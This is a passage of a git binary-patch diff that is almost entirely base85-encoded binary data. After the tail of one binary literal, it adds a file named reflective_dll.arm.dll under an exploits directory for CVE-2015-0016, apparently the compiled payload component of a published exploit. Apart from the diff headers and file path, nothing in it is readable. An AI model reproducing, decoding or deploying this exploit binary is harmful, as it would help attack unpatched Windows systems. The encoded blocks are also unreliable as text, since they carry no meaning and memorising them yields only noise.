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 HYv6wXL8nKy literal 0 HcmV?d00001 diff --git a/external/source/exploits/cve-2015-0016/bin/reflective_dll.arm.dll b/external/source/exploits/cve-2015-0016/bin/reflective_dll.arm.dll new file mode 100755 index 0000000000000000000000000000000000000000..3d5aae086b8f2d87bf48d278e852ce8311c457ff GIT binary patch literal 43520 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 